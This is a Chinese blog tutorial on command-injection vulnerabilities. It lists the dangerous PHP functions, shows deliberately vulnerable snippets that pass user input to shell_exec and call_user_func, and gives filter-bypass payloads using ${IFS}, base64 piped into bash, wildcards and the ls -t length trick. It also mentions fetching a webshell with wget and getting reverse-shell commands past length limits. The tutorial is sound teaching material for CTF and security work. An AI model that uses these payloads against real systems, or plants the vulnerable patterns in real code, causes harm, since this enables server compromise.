命令执行

学习学习

Posted by lll-yz on April 20, 2021

概念

日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供ping功能,我们可以输入一个IP地址,它就会帮我们去尝试ping目标的IP地址,而我们则可以看到执行结果。 但是如果用户没有遵循网站的本意,而去输入精心构造的指令,可能会对网站本身的功能逻辑产生逆转,导致让目标网站执行恶意命令。 恶意用户通过将恶意系统命令拼接到正常命令中,让网站执行恶意命令漏洞。

利用系统函数实现远程命令执行

PHP下,允许命令执行的函数有:

  • eval()
  • assert()
  • preg_replace()
  • call_user_func
  • ……

如果页面中存在这些函数并且对用户的输入没有进行严格的过滤,那么就有可能造成远程命令执行漏洞。

eval()函数

c7AYvD.md.png

…….

assert()函数

c7ENWV.md.png

ps: eval()和assert()区别: eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高。

preg_replace()函数

c7EOl8.md.png

ps: 在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。

call_user_func()函数

c7Vt7d.md.png

实例:

<?php
call_user_func($_GET['a'],$_GET['b']);
?>
http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()

系统命令执行漏洞

系统命令执行的函数:

  • system()
  • exec()
  • shell_exec()
  • passthru()
  • pcntl_exec()
  • popen()
  • proc_open()
  • 反引号
  • ……
system()

c7Z15n.png

都一样,执行command参数指定的命令,并输出执行结果。

exec()

可以理解为这个函数的代码就是一个外部程序。

exec ( string $command [, array &$output [, int &$return_var ]] ) : string

exec()执行 command 参数所指定的命令。

<?php
//输出运行中的php/httpd进程创建者用户名
//(可以执行“whoami”命令在系统上)
echo exec('whoami')
?>
shell_exec()

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

<?php
$cmd = $_GET['name'];
echo shell_exec($cmd);
?>
passthru()

c7ngMV.md.png

pcntl_exec()

c7uEdg.md.png

popen()

c7Kk11.md.png

其他语言也基本一致,上同。

……

反引号

反引号执行系统命令。

命令执行漏洞利用及绕过方式

常见管道符

Windows系统支持的管道符

| 直接执行后面的语句:

cHZkYn.png

||如果前面的命令是错的那么就执行后面的语句,否则只执行前面的语句:

cHZeyT.png

&前面和后面的命令都要执行,无论前面真假:

cHZumF.png

&&如果前面为假,后面的命令也不执行;前为真则执行两条都执行:

cHZ1YR.png

Linux系统支持的管道符

|、||、&、&&这四种管道符都存在且用法与Windows系统相同,还多了一个;管道符,作用和&一样。

空格过滤

${IFS}

payload1:

root@kali:~# cat flag
this is your flag
root@kali:~# cat${IFS}flag
this is your flag

payload2:

root@kali:~# cat${IFS}$1flag
this is your flag

payload3:

root@kali:~# cat$IFS$1flag
this is your flag
,

payload:

root@kali:~# {cat,flag}
this is your flag
重定向符<>

payload1:

root@kali:~# cat<>flag
this is your flag

payload2:

root@kali:~# cat<flag
this is your flag
%09(需要PHP环境)

cHeGNj.png

黑名单绕过

拼接
root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d
this is your flag
base64编码

payload1:

root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`
this is your flag

payload2:

root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash
this is your flag
base64

用法:base64 [选项]… [文件]

使用 Base64 编码/解码文件或标准输入输出。

-d, --decode          解码数据
-i, --ignore-garbag   解码时忽略非字母字符
-w, --wrap=字符数     在指定的字符数后自动换行(默认为76),0 为禁用自动换行

--help            显示此帮助信息并退出
--version         显示版本信息并退出

如果没有指定文件,或者文件为”-“,则从标准输入读取。

数据以RFC 3548规定的Base64字母格式进行编码。 解码时,输入数据(加密流)可能包含一些非有效Base64字符的新行字符。可以尝试用--ignore-garbage选项来恢复加密流中任何非base64字符。

例1:

[root@localhost ~]# echo test|base64            #加密
dGVzdAo=
[root@localhost ~]# echo dGVzdAo= |base64 -d    #解密 
test

例2:

[root@web ~]# base64 -d 1.txt  #解密文件中的内容
hello
world
单引号、双引号
root@kali:~# c""at fl''ag
this is your flag
反斜线
root@kali:~# c\at fl\ag
this is your flag
$1、$2等和$@
root@kali:~# c$1at gh$@tef01.txt
hello ghtef01
nice blckder02

读文件绕过

当 cat 被过滤时,可以使用如下命令代替:

more:一页一页的显示档案内容
less: more 类似但是比 more 更好的是他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示可以看出 tac  cat 的反向显示
tail:查看尾几行
nl显示的时候顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器这个也可以查看
vim:一种编辑器这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

通配符绕过

一个?代表一个字符,*代表若干字符。

例如:

root@kali:~# /???/?[a][t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?at flag
this is your flag
xx
cc
xa
root@kali:~# /???/?at ????
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录
root@kali:~# /???/?[a]''[t] ?''?''?''?''
this is your flag
xx
cc
xa
/bin/cat: test: 是一个目录

等等。

内敛执行绕过

命令和$(命令)都是执行命令的方式:

root@kali:~# echo "xx`pwd`"
xx/root
root@kali:~# echo "xx$(pwd)"
xx/root

绕过长度限制

Linux中的 > 符号和 » 符号

(1)通过 > 来创建文件:

cH1SOI.png

(2)通过 > 将命令结果存入文件中,使用 > 命令会将原有文件内容覆盖,如果是存入不存在的文件,则创建一个新文件存入。

cH19mt.png

(3) >> 符号的作用是将字符串添加到文件内容的末尾,不会覆盖原有内容:

cH1Fk8.png

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没写完的命令后面加\,可以将一条命令写在多行。

比如一条命令cat flag可以写为:

root@kali:~# ca\
> t\
>  fl\
> ag
this is your flag

既然可以这样,那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行:

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

cH1BtO.png

用这种方法可以绕过一些长度限制读取文件内容。

sh cmd  #将cmd文件内容作为shell命令执行

选项:
	-c string:命令从-c后的字符串读取。
	-i:实现脚本交互。
	-n:进行shell脚本的语法检查。
	-x:实现shell脚本逐条语句的跟踪。
利用 ls -t>以及换行符绕过长度限制执行命令(文件构造绕过)

在Linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来。(后创建的排在前面)

root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

cH8ryd.png

让我们来看看ls -t > ah有什么效果(开始不存在ah这个文件)。

lllyz@localhost:~/test$ ls -t > ah
lllyz@localhost:~/test$ cat ah
ah
flag
a.txt
test3.sh
test.sh
test5.sh
test4.sh
test2.sh

cH87mn.png

这条命令先执行了创建ah文件,然后将ls -t的执行结果写入ah文件中。

我们试试用这些方法来执行命令 cat flag

lllyz@localhost:~/test/test1$ ls
flag
lllyz@localhost:~/test/test1$ > 'ag'
lllyz@localhost:~/test/test1$ > 'fl\'
lllyz@localhost:~/test/test1$ > 't \'
lllyz@localhost:~/test/test1$ > 'ca\'
lllyz@localhost:~/test/test1$ ls -t
'ca\'  't \'  'fl\'   ag   flag
lllyz@localhost:~/test/test1$ ls -t > a
lllyz@localhost:~/test/test1$ sh a
a: 1: a: not found
this is flag, it belong to you, now!
a: 6: flag: not found

cHYry4.png

读取到了flag的内容,无论这个文件里面有木有其它的内容,都可以执行我们想要的命令。

文件构造用到了如下知识点:

Linux下可以用 > a 来创建文件名为a的空文件
ls -t > test 则会将目录按照时间排序(先创建的在后面)后写入test文件中
sh 命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以使用这种方式去绕过长度限制,如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己的vps上面的木马文件。

set命令

知识点:用两个%括起来的变量,会输出变量的值。

set a=1		#设置变量a,值为1
echo a		#此时输出的结果为"a"
echo %a%		#此时输出的结果为"1"

进阶利用:

set a=who
set b=ami
%a%%b%		#正常执行whoami
call %a%%b%		#正常执行whoami

cboIQf.png

切割字符
set a=whoami
%a:~0%		#取出所有字符,所以正常执行命令
%a:~0,6%		#从开始切割6个字符,刚好是whoami,正常执行
%a:~0,5%		#切割后为whoam,不是系统命令,不能执行

cbTPw4.png

然后,可以考虑的东西就来了:

set a=abc qwe		#
wh^o%a:~0,1%mi		#然后截断整理后就变为了:wh^o^ami,执行成功

cbTWBF.png